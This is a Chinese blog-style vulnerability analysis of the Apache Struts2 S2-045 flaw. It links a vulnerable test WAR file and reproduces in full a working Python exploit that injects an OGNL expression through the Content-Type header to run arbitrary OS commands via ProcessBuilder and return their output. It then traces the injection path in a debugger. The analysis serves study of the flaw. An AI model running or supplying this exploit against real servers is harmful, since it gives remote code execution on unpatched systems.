漏洞分析马后炮 s2-045漏洞分析

来源:互联网 发布:初中听力训练软件下载 编辑:程序博客网 时间:2024/06/03 02:27

漏洞分析马后炮 s2-045漏洞分析

本文包含如下内容:

0x00 目录

  • 漏洞分析马后炮 s2-045漏洞分析
    • 0x00 目录
    • 0x01 环境搭建
    • 0x02 PoC分析
    • 0x03 代码DEBUG
      • evaluate


0x01 环境搭建

现成的符合版本要求的弱环境下载:

https://raw.githubusercontent.com/mottoin/S2-045/master/S2-045.war

0x02 PoC分析

网上下载的exp-s2-045,用来测试漏洞:

#!/usr/bin/python# -*- coding: utf-8 -*-import urllib2import httplibdef exploit(url, cmd):    payload = "Content-Type:%{(#_='multipart/form-data')."    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."    payload += "(#_memberAccess?"    payload += "(#_memberAccess=#dm):"    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."    payload += "(#ognlUtil.getExcludedPackageNames().clear())."    payload += "(#ognlUtil.getExcludedClasses().clear())."    payload += "(#context.setMemberAccess(#dm))))."    payload += "(#cmd='%s')." % cmd    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."    payload += "(#ros.flush())}"    try:        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}        request = urllib2.Request(url, headers=headers)        page = urllib2.urlopen(request).read()    except httplib.IncompleteRead, e:        page = e.partial    print(page)    return page

这里先不解释代码,配合后面的DEBUG来解释以上PoC代码。

0x03 代码DEBUG

运行PoC代码

运行PoC,成功即运行calc,弹出一个计算器
用法为

*.py [url] [cmd]

第一个断点

因为我事先分析过了,先在这里打个断点。
此时计算器还没弹出,我们继续跟进到方法:

getDefaultMessage(String, Locale, ValueStack, Object[], String)

跟进第一个方法

如下是defaultMessage的内容,他包含我们所有的Content-Type内容,我们跟进他在哪里被引用。

the request doesn’t contain a multipart/form-data or multipart/mixed stream, content type header is 【Content-Type内容】

message被代替成传入的参数

message = defaultMessage

buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);

该段为message最后被引用到的地方,跟进到两个方法内,先到如下:

translateVariables(String, ValueStack)

第一次跟进translateVariables方法

第一次跟进translateVariables方法,发现还是调用的方法,一路跟进,直接看实现具体的实现。

真正调用shell的方法
shell方法继承的接口

从这两张图可以看出,他继承了接口

com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator

在创建对象后立即重写了方法:

com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator.evaluate(String)

最后要知道是,为什么该方法是怎么执行构造的内容的。

先看看这个方法的API

evaluate

Object evaluate(String parsedValue)
Evaluated the value parsed by Ognl value stack.

这里提到Ognl值栈,我们只需要构造Ognl语句,利用Ognl语句获得cmd或者shell。


1 0